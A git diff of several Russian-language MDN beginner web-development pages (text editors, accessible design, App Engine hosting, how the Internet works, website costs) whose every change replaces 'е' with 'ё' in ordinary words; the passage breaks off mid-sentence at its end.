a/files/ru/learn/common_questions/available_text_editors/index.html b/files/ru/learn/common_questions/available_text_editors/index.html index 0a2c769828..b9ef48555c 100644 --- a/files/ru/learn/common_questions/available_text_editors/index.html +++ b/files/ru/learn/common_questions/available_text_editors/index.html @@ -28,7 +28,7 @@ translation_of: Learn/Common_questions/Available_text_editors <h2 id="Summary">Summary</h2> -<p>Веб-сайт состоит в основном из текстовых файлов, поэтому для веселого и приятного процесса разработки вы должны выбрать свой текстовый редактор с умом.</p> +<p>Веб-сайт состоит в основном из текстовых файлов, поэтому для весёлого и приятного процесса разработки вы должны выбрать свой текстовый редактор с умом.</p> <p>Огромное количество вариантов немного ошеломляет, так как текстовый редактор настолько важен для компьютерных наук (да, веб-разработка - это компьютерная наука). В идеале вы должны попробовать столько редакторов, сколько сможете, и почувствовать, что соответствует вашему рабочему процессу. Но мы дадим вам несколько советов для начала.</p> @@ -43,7 +43,7 @@ translation_of: Learn/Common_questions/Available_text_editors <li>Имеет ли смысл мой текстовый редактор для меня?</li> </ul> -<p>Обратите внимание, что мы не упомянули цену. Очевидно, что это тоже важно, но стоимость продукта мало связана с его качеством или возможностями. Существует большая вероятность, что вы найдете подходящий текстовый редактор бесплатно.</p> +<p>Обратите внимание, что мы не упомянули цену. Очевидно, что это тоже важно, но стоимость продукта мало связана с его качеством или возможностями. Существует большая вероятность, что вы найдёте подходящий текстовый редактор бесплатно.</p> <p>Here are some popular editors:</p> @@ -211,7 +211,7 @@ translation_of: Learn/Common_questions/Available_text_editors <h4 id="С_какой_ОС_операционной_системой_я_хочу_работать">С какой ОС (операционной системой) я хочу работать?</h4> -<p>Конечно, это Ваш выбор. Однако некоторые редакторы доступны только для определенных ОС, поэтому, если Вам нравится переключаться вперед и назад, это сузит возможности. Любой текстовый редактор может выполнить работу, если он работает в вашей системе, но кроссплатформенный редактор облегчает переход с ОС на ОС.</p> +<p>Конечно, это Ваш выбор. Однако некоторые редакторы доступны только для определённых ОС, поэтому, если Вам нравится переключаться вперёд и назад, это сузит возможности. Любой текстовый редактор может выполнить работу, если он работает в вашей системе, но кроссплатформенный редактор облегчает переход с ОС на ОС.</p> <p>So first find out which OS you're using, and then check if a given editor supports your OS. Most editors specify on their website whether they support Windows or Mac, though some editors only support certain versions (say, only Windows 7 or later and not Vista). If you're running Ubuntu, your best bet is to search within the Ubuntu Software Center. In general, of course, the Linux/UNIX world is a pretty diverse place where different distros work with different, incompatible packaging systems. That means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted).</p> diff --git a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html index 8486ff757f..7b3ceb5b95 100644 --- a/files/ru/learn/common_questions/design_for_all_types_of_users/index.html +++ b/files/ru/learn/common_questions/design_for_all_types_of_users/index.html @@ -29,15 +29,15 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users <h2 id="Краткое_описание">Краткое описание</h2> -<p>Когда вы создаете веб-сайт, одна из главных проблем, которую нужно учитывать, - это универсальный дизайн: доступность для всех пользователей независимо от инвалидности, технических ограничений, культуры, местоположения и так далее.</p> +<p>Когда вы создаёте веб-сайт, одна из главных проблем, которую нужно учитывать, - это универсальный дизайн: доступность для всех пользователей независимо от инвалидности, технических ограничений, культуры, местоположения и так далее.</p> <h2 id="Более_глубокое_изучение">Более глубокое изучение</h2> <h3 id="Цветовой_контраст">Цветовой контраст</h3> -<p>Чтобы сделать ваш текст читаемым, используйте цвет текста, который хорошо контрастирует с цветом фона. Сделайте его особенно легким для чтения текста, чтобы помочь слабовидящим людям и людям, использующим свои телефоны на улице.</p> +<p>Чтобы сделать ваш текст читаемым, используйте цвет текста, который хорошо контрастирует с цветом фона. Сделайте его особенно лёгким для чтения текста, чтобы помочь слабовидящим людям и людям, использующим свои телефоны на улице.</p> -<p>{{Glossary("W3C")}} определяет хорошее сочетание цветов с помощью алгоритма, который вычисляет соотношение яркости между передним и задним планом. Расчет может показаться довольно сложным, но мы можем положиться на инструменты, которые сделают эту работу за нас.</p> +<p>{{Glossary("W3C")}} определяет хорошее сочетание цветов с помощью алгоритма, который вычисляет соотношение яркости между передним и задним планом. Расчёт может показаться довольно сложным, но мы можем положиться на инструменты, которые сделают эту работу за нас.</p> <p>Давайте загрузим и установим <a href="http://www.paciellogroup.com/resources/contrastanalyser/">анализатор цветового контраста</a> Paciello Group.</p> @@ -64,7 +64,7 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users <p>... вы говорите браузеру, что бы ни случилось, размер шрифта должен быть 16 пикселей. Современные браузеры обходят это правило, делая вид, что вы просите "16 пикселей, когда пользователь устанавливает коэффициент масштабирования 100%".</p> -<p>Однако, на протяжении многих лет Internet Explorer категорически отображается 16 на 16 пикселей. В этом случае масштабирование ничего не дало, даже в последнем Internet Explorer 8, который нам все еще приходится обслуживать, потому что он все еще существует.</p> +<p>Однако, на протяжении многих лет Internet Explorer категорически отображается 16 на 16 пикселей. В этом случае масштабирование ничего не дало, даже в последнем Internet Explorer 8, который нам все ещё приходится обслуживать, потому что он все ещё существует.</p> <h4 id="Относительные_единицы">Относительные единицы</h4> @@ -74,14 +74,14 @@ translation_of: Learn/Common_questions/Design_for_all_types_of_users <dl> <dt>Процентные размеры: <code>%</code></dt> - <dd>Этот блок сообщает вашему браузеру, что размер шрифта элемента должен составлять N% от предыдущего элемента, размер шрифта которого был выражен. Если родитель не найден, то размер шрифта по умолчанию в браузере считается базовым размером для расчета (обычно эквивалентным 16 пикселям).</dd> + <dd>Этот блок сообщает вашему браузеру, что размер шрифта элемента должен составлять N% от предыдущего элемента, размер шрифта которого был выражен. Если родитель не найден, то размер шрифта по умолчанию в браузере считается базовым размером для расчёта (обычно эквивалентным 16 пикселям).</dd> <dt>Em размеры: <code>em</code></dt> <dd>Эта единица вычисляется так же, как и проценты, за исключением того, что вы вычисляете в частях 1, а не в частях 100. Говорят, что "em" - это ширина заглавной буквы “М” в алфавите (грубо говоря, буква “М” вписывается в квадрат).</dd> <dt>Rem размеры: <code>rem</code></dt> <dd>Эта единица измерения пропорциональна размеру шрифта корневого элемента и выражается в виде частей, таких как em.</dd> </dl> -<p>Предположим, что нам нужен базовый размер шрифта 16px и h1 (основной заголовок) в эквиваленте 32px, но если в пределах h1 мы найдем <code>промежуток </code>с классом <code>подзаголовков</code>, он тоже должен быть отрисован с размером шрифта по умолчанию (обычно 16px).</p> +<p>Предположим, что нам нужен базовый размер шрифта 16px и h1 (основной заголовок) в эквиваленте 32px, но если в пределах h1 мы найдём <code>промежуток </code>с классом <code>подзаголовков</code>, он тоже должен быть отрисован с размером шрифта по умолчанию (обычно 16px).</p> <p>Вот HTML, который мы используем:</p> @@ -131,22 +131,22 @@ span.subheading { font-size:1rem; } /* исходный размер */ <h4 id="Почему_мне_следует_использовать_пропорциональные_единицы_измерения">Почему мне следует использовать пропорциональные единицы измерения?</h4> -<p>Потому что вы не знаете, когда браузер придет в себя и откажется увеличивать текст, размер которого выражается в пикселях. Кроме того, проверьте статистику вашего сайта: вы можете получать визиты из старых браузеров.</p> +<p>Потому что вы не знаете, когда браузер придёт в себя и откажется увеличивать текст, размер которого выражается в пикселях. Кроме того, проверьте статистику вашего сайта: вы можете получать визиты из старых браузеров.</p> <p>Мы бы посоветовали следующее:</p> <ul> <li>Опишите шрифты в единицах rem, большинство браузеров будут очень довольны ими;</li> - <li>Пусть старые браузеры отображают шрифты со своим собственным внутренним движком. Браузерные движки будут игнорировать любое свойство или значение в CSS, если они не могут справиться с ними, так что ваш сайт все еще может быть непригодным для использования, если он не соответствует видению вашего дизайнера. Старые браузеры в любом случае находятся на пути к выходу из использования.</li> + <li>Пусть старые браузеры отображают шрифты со своим собственным внутренним движком. Браузерные движки будут игнорировать любое свойство или значение в CSS, если они не могут справиться с ними, так что ваш сайт все ещё может быть непригодным для использования, если он не соответствует видению вашего дизайнера. Старые браузеры в любом случае находятся на пути к выходу из использования.</li> </ul> <div class="note"> -<p><strong>Примечание</strong>: ваш пробег может варьироваться. Если вам нужно угодить старым браузерам, вам придется использовать ems и сделать немного больше математики.</p> +<p><strong>Примечание</strong>: ваш пробег может варьироваться. Если вам нужно угодить старым браузерам, вам придётся использовать ems и сделать немного больше математики.</p> </div> <h3 id="Длина_строки">Длина строки</h3> -<p>Существует давняя дискуссия о длине строки в интернете, но вот история. Еще в те времена, когда у нас были газеты, Печатники понимали, что глаза читателя будут с трудом переходить от одной строки к другой, если строки будут слишком длинными. Какое же решение? Столбцы.</p> +<p>Существует давняя дискуссия о длине строки в интернете, но вот история. Ещё в те времена, когда у нас были газеты, Печатники понимали, что глаза читателя будут с трудом переходить от одной строки к другой, если строки будут слишком длинными. Какое же решение? Столбцы.</p> <p>Конечно, проблема не исчезает, когда мы переключаемся на интернет. Глаза читателя действуют как челнок, идущий от строки к строке. Чтобы сделать чтение проще для глаз людей, ограничьте ширину строки примерно 60 или 70 символами.</p> @@ -197,7 +197,7 @@ span.subheading { font-size:1rem; } /* исходный размер */ <dd>Они используются для передачи информации, отсюда и их название. Они могут, например, показать график, жест человека или любую другую информацию. Как минимум, вы должны предоставить соответствующий атрибут <code>alt</code>.</dd> </dl> -<p>Если изображение может быть описано кратко, вы можете предоставить атрибут <code>alt </code>и ничего больше. Если изображение не может быть описано кратко, вам придется либо предоставить тот же контент в другой форме на той же странице (например, дополнить круговую диаграмму таблицей, содержащей те же данные), либо прибегнуть к атрибуту <code>longdesc</code>. Значение этого атрибута представляет собой URL-адрес, указывающий на ресурс, явно описывающий в деталях содержимое изображения.</p> +<p>Если изображение может быть описано кратко, вы можете предоставить атрибут <code>alt </code>и ничего больше. Если изображение не может быть описано кратко, вам придётся либо предоставить тот же контент в другой форме на той же странице (например, дополнить круговую диаграмму таблицей, содержащей те же данные), либо прибегнуть к атрибуту <code>longdesc</code>. Значение этого атрибута представляет собой URL-адрес, указывающий на ресурс, явно описывающий в деталях содержимое изображения.</p> <div class="note"> <p><strong>Примечание</strong>: использование и даже существование <code>longdesc </code>обсуждается уже довольно давно. Пожалуйста, обратитесь к <a href="http://www.w3.org/TR/html-longdesc/">расширению описания изображений</a> W3C (longdesc) для получения полного объяснения и подробных примеров.</p> @@ -209,14 +209,14 @@ span.subheading { font-size:1rem; } /* исходный размер */ <dl> <dt>Субтитры / закрытие субтитров</dt> - <dd>Вы должны включить подписи в свое видео, чтобы угодить посетителям, которые не могут слышать звук. Некоторые пользователи имеют проблемы со слухом, не имеют функционирующих динамиков или работают в шумной среде (например, в поезде).</dd> + <dd>Вы должны включить подписи в своё видео, чтобы угодить посетителям, которые не могут слышать звук. Некоторые пользователи имеют проблемы со слухом, не имеют функционирующих динамиков или работают в шумной среде (например, в поезде).</dd> <dt>Расшифровка</dt> <dd>Субтитры работают только в том случае, если кто-то смотрит видео. Многие пользователи не имеют времени или не имеют соответствующего плагина или кодека. Кроме того, поисковые системы полагаются в основном на текст для индексации вашего контента. По всем этим причинам, пожалуйста, предоставьте текстовую расшифровку видео / аудиофайла.</dd> </dl> <h3 id="Сжатие_изображения">Сжатие изображения</h3> -<p>Некоторые пользователи могут выбрать отображение изображений, но все еще имеют ограниченную пропускную способность, особенно в развивающихся странах и на мобильных устройствах. Если вы хотите создать успешный сайт, пожалуйста, сожмите ваши изображения. Существуют различные инструменты, которые помогут вам, как онлайн, так и локально:</p> +<p>Некоторые пользователи могут выбрать отображение изображений, но все ещё имеют ограниченную пропускную способность, особенно в развивающихся странах и на мобильных устройствах. Если вы хотите создать успешный сайт, пожалуйста, сожмите ваши изображения. Существуют различные инструменты, которые помогут вам, как онлайн, так и локально:</p> <ul> <li><strong>Устанавливаемое программное обеспечение.</strong> <a href="https://imageoptim.com/">ImageOptim</a> (Mac), <a href="http://optipng.sourceforge.net/">OptiPNG</a> (все платформы), <a href="http://pmt.sourceforge.net/pngcrush/">PNGcrush</a> (DOS, Unix/Linux)</li> diff --git a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html index 8cc55f9d12..449e24f887 100644 --- a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html +++ b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap <h2 id="Создание_проекта_Google_Cloud_Platform">Создание проекта Google Cloud Platform</h2> -<p>Чтобы использовать инструменты Google для своего собственного сайта или приложения, вам нужно создать новый проект на Google Cloud Platform. Для этого требуется наличие учетной записи Google.</p> +<p>Чтобы использовать инструменты Google для своего собственного сайта или приложения, вам нужно создать новый проект на Google Cloud Platform. Для этого требуется наличие учётной записи Google.</p> <ol> <li>Перейдите на панель <a href="https://console.cloud.google.com/projectselector/appengine">App Engine dashboard</a> в консоли Google Cloud Platform и нажмите кнопку «Создать» (<em>Create</em>).</li> @@ -17,7 +17,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap <li>Project ID: <em>gaesamplesite</em></li> </ul> </li> - <li>Если вы еще не создали проект раньше, вам нужно будет выбрать, хотите ли вы получать обновления электронной почты или нет, соглашайтесь с Условиями обслуживания, а затем вы можете нажать кнопку «Создать», чтобы создать свой проект.</li> + <li>Если вы ещё не создали проект раньше, вам нужно будет выбрать, хотите ли вы получать обновления электронной почты или нет, соглашайтесь с Условиями обслуживания, а затем вы можете нажать кнопку «Создать», чтобы создать свой проект.</li> </ol> <h2 id="Создание_приложения">Создание приложения</h2> @@ -50,7 +50,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap <li>Теперь вы готовы развернуть ваше приложение, т.е. загрузить его в App Engine: <pre class="brush:bash no-line-numbers notranslate" style="margin: 1em 0;">gcloud app deploy</pre> </li> - <li>Введите число от одного до семи, чтобы выбрать регион, в котором вы хотите разместить свое приложение.</li> + <li>Введите число от одного до семи, чтобы выбрать регион, в котором вы хотите разместить своё приложение.</li> <li>Нажмите <code>Y</code> для подтверждения.</li> <li>Теперь перейдите по ссылке <em>your-project-id</em>.appspot.com, чтобы увидеть ваш сайт. Например, для проекта с ID <em>gaesamplesite, </em>перейдите по ссылке <a href="http://gaesamplesite.appspot.com/">gaesamplesite.appspot.com</a>.</li> </ol> diff --git a/files/ru/learn/common_questions/how_does_the_internet_work/index.html b/files/ru/learn/common_questions/how_does_the_internet_work/index.html index 225ee71401..267946416f 100644 --- a/files/ru/learn/common_questions/how_does_the_internet_work/index.html +++ b/files/ru/learn/common_questions/how_does_the_internet_work/index.html @@ -19,12 +19,12 @@ original_slug: Learn/How_the_Internet_works <tbody> <tr> <th scope="row">Необходимые знания:</th> - <td>Отсутствуют, но мы будем признательны, если вы сначала прочтете <a href="/en-US/docs/Learn/Thinking_before_coding">Материал о там как начать разрабатывать свой сайт</a></td> + <td>Отсутствуют, но мы будем признательны, если вы сначала прочтёте <a href="/en-US/docs/Learn/Thinking_before_coding">Материал о там как начать разрабатывать свой сайт</a></td> </tr> <tr> <th scope="row">Цель:</th> <td> - <p>Вы изучите основы технической инфраструктуры Веба и поймете разницу между Вебом и интернетом. </p> + <p>Вы изучите основы технической инфраструктуры Веба и поймёте разницу между Вебом и интернетом. </p> </td> </tr> </tbody> @@ -34,7 +34,7 @@ original_slug: Learn/How_the_Internet_works <p><strong>Интернет</strong> является основой сети (the Web), технической инфраструктурой, благодаря которой и существует Всемирная Паутина. По своей сути, интернет - очень большая сеть компьютеров, которые могут взаимодействовать друг с другом.</p> -<p><a href="https://www.wikiwand.com/ru/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82#/.D0.98.D1.81.D1.82.D0.BE.D1.80.D0.B8.D1.8F" rel="external">История интернета не до конца ясна</a>. Проект по созданию интернета был начат в 60-х годах как исследовательский проект при поддержке министерства обороны США, но уже в 80-е годы вырос в сеть, которую поддерживали и развивали множество университетов и частных компаний. Технологии, лежащие в основе интернета, также продолжали развиваться со временем, но основной принцип работы не сильно изменился: Интернет - это способ подключить компьютеры в единую сеть и убедиться, что даже при серьезных сбоях, они все равно найдут способ связаться друг с другом.</p> +<p><a href="https://www.wikiwand.com/ru/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82#/.D0.98.D1.81.D1.82.D0.BE.D1.80.D0.B8.D1.8F" rel="external">История интернета не до конца ясна</a>. Проект по созданию интернета был начат в 60-х годах как исследовательский проект при поддержке министерства обороны США, но уже в 80-е годы вырос в сеть, которую поддерживали и развивали множество университетов и частных компаний. Технологии, лежащие в основе интернета, также продолжали развиваться со временем, но основной принцип работы не сильно изменился: Интернет - это способ подключить компьютеры в единую сеть и убедиться, что даже при серьёзных сбоях, они все равно найдут способ связаться друг с другом.</p> <h2 id="Активное_изучение">Активное изучение</h2> @@ -74,7 +74,7 @@ original_slug: Learn/How_the_Internet_works <p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p> -<p>Такая сеть уже очень похожа на то, что мы называем интернетом, но мы что-то упустили. Наша сеть построена для решения только наших задач. Но кроме нее есть и другие сети: наши друзья, соседи — кто угодно может создать свою сеть. Как же нам их объединить? Мы не можем протянуть кабели между нашим домом и всеми остальными сетями в мире. Чтобы решить эту проблему, мы можем воспользоваться уже существующими кабельными сетями. Ведь у нас дома уже есть кабели, например, электрические или телефонные. Телефонный провод уже соединяет ваш дом со всем остальным миром, так что он идеально подходит для решения нашей задачи. Чтобы подключить нашу сеть к глобальной сети с помощью телефонного провода, нам понадобится специальное оборудование, которое называется <em>модем</em>. Модем перекодирует информацию, поступающую из нашей сети в формат, который можно передавать через телефонную сеть, и наоборот, декодируют информацию из телефонной сети в формат, который распознают наши компьютеры.</p> +<p>Такая сеть уже очень похожа на то, что мы называем интернетом, но мы что-то упустили. Наша сеть построена для решения только наших задач. Но кроме неё есть и другие сети: наши друзья, соседи — кто угодно может создать свою сеть. Как же нам их объединить? Мы не можем протянуть кабели между нашим домом и всеми остальными сетями в мире. Чтобы решить эту проблему, мы можем воспользоваться уже существующими кабельными сетями. Ведь у нас дома уже есть кабели, например, электрические или телефонные. Телефонный провод уже соединяет ваш дом со всем остальным миром, так что он идеально подходит для решения нашей задачи. Чтобы подключить нашу сеть к глобальной сети с помощью телефонного провода, нам понадобится специальное оборудование, которое называется <em>модем</em>. Модем перекодирует информацию, поступающую из нашей сети в формат, который можно передавать через телефонную сеть, и наоборот, декодируют информацию из телефонной сети в формат, который распознают наши компьютеры.</p> <p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p> @@ -84,7 +84,7 @@ original_slug: Learn/How_the_Internet_works <h3 id="Поиск_компьютера">Поиск компьютера</h3> -<p>Чтобы послать сообщение какому-то компьютеру, необходимо как-то обратиться к нему, выделить среди других. Поэтому каждый компьютер, подключенный к сети, имеет свой уникальный адрес для связи: этот адрес называют IP-адресом (IP — сокращение для <em>Internet Protocol</em>, протокол интернета). В зависимости от версии протокола IP этот адрес может записываться по-разному. Самая широко используемая версия интернет-протокола — версия 4. Адреса IPv4 обычно записываются в виде четырёх чисел, разделенных точками, например: 192.168.2.10.</p> +<p>Чтобы послать сообщение какому-то компьютеру, необходимо как-то обратиться к нему, выделить среди других. Поэтому каждый компьютер, подключённый к сети, имеет свой уникальный адрес для связи: этот адрес называют IP-адресом (IP — сокращение для <em>Internet Protocol</em>, протокол интернета). В зависимости от версии протокола IP этот адрес может записываться по-разному. Самая широко используемая версия интернет-протокола — версия 4. Адреса IPv4 обычно записываются в виде четырёх чисел, разделённых точками, например: 192.168.2.10.</p> <p>Такие адреса отлично подходят для компьютеров, но людям очень сложно их запоминать. Чтобы упростить себе жизнь, мы можем присвоить каждому IP-адресу псевдоним с понятным для человека именем. Такой псевдоним называют доменным именем. Например, google.com — доменное имя, которое является псевдонимом IP-адреса 173.194.121.32. Использование доменного имени — самый простой способ обратиться к компьютеру в интернете.</p> diff --git a/files/ru/learn/common_questions/how_much_does_it_cost/index.html b/files/ru/learn/common_questions/how_much_does_it_cost/index.html index b830480208..ccd18619af 100644 --- a/files/ru/learn/common_questions/how_much_does_it_cost/index.html +++ b/files/ru/learn/common_questions/how_much_does_it_cost/index.html @@ -1,5 +1,5 @@ --- -title: Насколько дорого обойдется сделать что-то с помощью Web? +title: Насколько дорого обойдётся сделать что-то с помощью Web? slug: Learn/Common_questions/How_much_does_it_cost tags: - Хостинг @@ -8,7 +8,7 @@ tags: translation_of: Learn/Common_questions/How_much_does_it_cost --- <div class="summary"> -<p>Веб-разработка обходится не так дешево, как вам может показаться. В этой статье мы обсудим, как много вам потребуется потратить и почему.</p> +<p>Веб-разработка обходится не так дёшево, как вам может показаться. В этой статье мы обсудим, как много вам потребуется потратить и почему.</p> </div> <table class="learn-box standard-table"> @@ -38,7 +38,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <p>Для начала, мы предлагаем вам попробовать несколько редакторов, чтобы понять, какой из них подходит лучше вам. Если вы пишите лишь простые {{Glossary("HTML")}}, {{Glossary("CSS")}}, and {{Glossary("Javascript")}}, используйте простой редактор.</p> -<p>Цена не влияет на качество или полезность текстового редактора. Вам необходимо попробовать и решить какой из них отвечает вашим потребностям. К примеру, Sublime Text дешевый, но поставляется с множеством бесплатных плагинов которые могут здорово расширить его функциональность.</p> +<p>Цена не влияет на качество или полезность текстового редактора. Вам необходимо попробовать и решить какой из них отвечает вашим потребностям. К примеру, Sublime Text дешёвый, но поставляется с множеством бесплатных плагинов которые могут здорово расширить его функциональность.</p> <h3 id="Редакторы_изображений">Редакторы изображений</h3> @@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <p>Редакторы могут быть бесплатными (<a href="http://www.gimp.org/">GIMP</a>, <a href="https://www.getpaint.net/">Paint.NET</a>), относительно недорогими (<a href="http://www.paintshoppro.com/">PaintShop Pro</a>, меньше чем $100), или иметь стоимость в пару сотен долларов (<a href="https://www.adobe.com/products/photoshop.html">Adobe Photoshop</a>).</p> -<p>Вы можете использовать любой из них, так как они имеют похожую функциональность, хотя некоторые из них настолько всеобъемлющие, что вы никогда не сможете использовать весь их функционал. Если в какой то момент вам необходимо обменяться проектами с другими дизайнерами, то вам следует выяснить, какие инструменты они используют. Редакторы могут экспортировать законченные проекты в стандартные форматы, но каждый редактор сохраняет текущие проекты в своем собственном, специализированном формате. Большинство изображений в интернете защищены авторским правом, так что лучше проверить лицензию файла, перед его использованием. Такие сайты, как <a href="https://pixabay.com/">Pixabay</a>, предоставляют изображения под лицензией Creative Commons Zero, так что вы можете использовать, редактировать, и даже публиковать их после изменения, ради коммерческой выгоды.</p> +<p>Вы можете использовать любой из них, так как они имеют похожую функциональность, хотя некоторые из них настолько всеобъемлющие, что вы никогда не сможете использовать весь их функционал. Если в какой то момент вам необходимо обменяться проектами с другими дизайнерами, то вам следует выяснить, какие инструменты они используют. Редакторы могут экспортировать законченные проекты в стандартные форматы, но каждый редактор сохраняет текущие проекты в своём собственном, специализированном формате. Большинство изображений в интернете защищены авторским правом, так что лучше проверить лицензию файла, перед его использованием. Такие сайты, как <a href="https://pixabay.com/">Pixabay</a>, предоставляют изображения под лицензией Creative Commons Zero, так что вы можете использовать, редактировать, и даже публиковать их после изменения, ради коммерческой выгоды.</p> <h3 id="Медиа_редакторы">Медиа редакторы</h3> @@ -56,9 +56,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <h3 id="Инструменты_публикации">Инструменты публикации</h3> -<p>Вам также потребуется возможность выгрузки файлов: с вашего жесткого диска на удаленный веб-сервер. Чтобы осуществить это, вам потребуется утилита для публикации, такая как (S)<a href="/en-US/docs/Glossary/FTP">FTP client</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, или <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p> +<p>Вам также потребуется возможность выгрузки файлов: с вашего жёсткого диска на удалённый веб-сервер. Чтобы осуществить это, вам потребуется утилита для публикации, такая как (S)<a href="/en-US/docs/Glossary/FTP">FTP client</a>, <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a>, или <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages/">Git/GitHub</a>.</p> -<p>Каждая операционная система включает (S)FTP клиент, как часть своего файлового менеджера. Проводник Windows, Nautilus (распространенный файловый менеджер Linux), и Mac Finder - все имеют такую функциональность. Однако, люди часто выбирают удаленные (S)FTP клиенты, для одновременного отображения локальных и удаленных каталогов и хранения паролей сервера.</p> +<p>Каждая операционная система включает (S)FTP клиент, как часть своего файлового менеджера. Проводник Windows, Nautilus (распространённый файловый менеджер Linux), и Mac Finder - все имеют такую функциональность. Однако, люди часто выбирают удалённые (S)FTP клиенты, для одновременного отображения локальных и удалённых каталогов и хранения паролей сервера.</p> <p>Если вы хотите установить (S)FTP клиент, то существует несколько, заслуживающих доверия, бесплатных вариантов: <a href="https://filezilla-project.org/">FileZilla</a>, <a href="http://winscp.net/">WinSCP</a> для Windows, <a href="https://cyberduck.io/">Cyberduck</a> для Mac/Windows, <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_software">и другие</a>.</p> @@ -76,22 +76,22 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <p>Конечно же, вам необходим более мощный компьютер, если вы хотите проектировать сложные конструкции, править фотографии или создавать аудио и видеофайлы.</p> -<p>Вам потребуется загружать контент на удаленный сервер (<em>см. ниже Хостинг</em>), а значит вам потребуется модем. Ваш {{Glossary("ISP", "провайдер")}} может предоставлять доступ в интернет вам за пару долларов в месяц, однако, это также зависит от места вашего проживания.</p> +<p>Вам потребуется загружать контент на удалённый сервер (<em>см. ниже Хостинг</em>), а значит вам потребуется модем. Ваш {{Glossary("ISP", "провайдер")}} может предоставлять доступ в интернет вам за пару долларов в месяц, однако, это также зависит от места вашего проживания.</p> <h3 id="Доступ_по_провайдеру">Доступ по провайдеру</h3> <p>Убедитесь что у вас достаточная {{Glossary("Bandwidth", "скорость передачи данных")}}:</p> <ul> - <li>Доступ с низкой пропускной способностью может быть приемлем для простого веб-сайта: изображения, тексты, немного CSS и JavaScript. Это, вероятно, обойдется вам в пару долларов, включая аренду модема.</li> - <li>С другой стороны, вам потребуется соединения с высокой пропускной способностью, такие как DSL, оптоволокно, если вы хотите более сложный веб-сайт с сотнями файлов, или если вы хотите предоставить доступ к тяжелым видео/аудио файлам напрямую с вашего веб-сервера. Это может стоить столько же, сколько при соединении с низкой пропускной способностью, а может вырасти до пары сотен долларов в месяц, за более профессиональные потребности.</li> + <li>Доступ с низкой пропускной способностью может быть приемлем для простого веб-сайта: изображения, тексты, немного CSS и JavaScript. Это, вероятно, обойдётся вам в пару долларов, включая аренду модема.</li> + <li>С другой стороны, вам потребуется соединения с высокой пропускной способностью, такие как DSL, оптоволокно, если вы хотите более сложный веб-сайт с сотнями файлов, или если вы хотите предоставить доступ к тяжёлым видео/аудио файлам напрямую с вашего веб-сервера. Это может стоить столько же, сколько при соединении с низкой пропускной способностью, а может вырасти до пары сотен долларов в месяц, за более профессиональные потребности.</li> </ul> <h2 id="Хостинг">Хостинг</h2> <h3 id="Понимание_пропускной_способности">Понимание пропускной способности</h3> -<p>Хостинг-провайдеры взимают плату в зависимости от того, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш веб-сайт потребил. Это зависит от того как много людей и бот-сканеров получали доступ к вашему контенту за определенный промежуток времени, и, как много серверного пространства этот контент занимает. Вот почему многие люди, обычно, размещают их видео на удаленных сервисах, таких как Youtube, Dailymotion, и Vimeo. Например, ваш провайдер может иметь план, который позволяет выдерживать до нескольких тысяч посетителей в день. Однако, будьте осторожны, так как это условие меняется от одного провайдера к другому. Возьмите за правило, что надежный, платный персональный хостинг может стоить около 10-15 долларов в месяц.</p> +<p>Хостинг-провайдеры взимают плату в зависимости от того, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш веб-сайт потребил. Это зависит от того как много людей и бот-сканеров получали доступ к вашему контенту за определённый промежуток времени, и, как много серверного пространства этот контент занимает. Вот почему многие люди, обычно, размещают их видео на удалённых сервисах, таких как Youtube, Dailymotion, и Vimeo. Например, ваш провайдер может иметь план, который позволяет выдерживать до нескольких тысяч посетителей в день. Однако, будьте осторожны, так как это условие меняется от одного провайдера к другому. Возьмите за правило, что надёжный, платный персональный хостинг может стоить около 10-15 долларов в месяц.</p> <div class="note"> <p>Заметьте, что не существует такого понятия, как "неограниченная пропускная способность". Если вы использовали огромное количество трафика, будьте готовы выплатить огромную сумму денег.</p> @@ -99,7 +99,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <h3 id="Доменные_имена">Доменные имена</h3> -<p>Ваше доменное имя должно быть приобретено через провайдера доменных имен (регистратор). Ваш хостинг-провайдер может также быть регистратором (<a href="https://www.1and1.com/">1&1</a>, <a href="https://www.gandi.net/?lang=en">Gandi</a>, например, являются в одно и тоже время регистраторами и хостинг-провайдерами). Доменное имя обычно имеет стоимость в $5-15 за год. Эта цена варьируется в зависимости от:</p> +<p>Ваше доменное имя должно быть приобретено через провайдера доменных имён (регистратор). Ваш хостинг-провайдер может также быть регистратором (<a href="https://www.1and1.com/">1&1</a>, <a href="https://www.gandi.net/?lang=en">Gandi</a>, например, являются в одно и тоже время регистраторами и хостинг-провайдерами). Доменное имя обычно имеет стоимость в $5-15 за год. Эта цена варьируется в зависимости от:</p> <ul> <li>Местных обязательств: В некоторых странах домены верхнего уровня стоят дороже, так как разные страны устанавливают различные цены.</li> @@ -110,7 +110,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <p>Когда вы 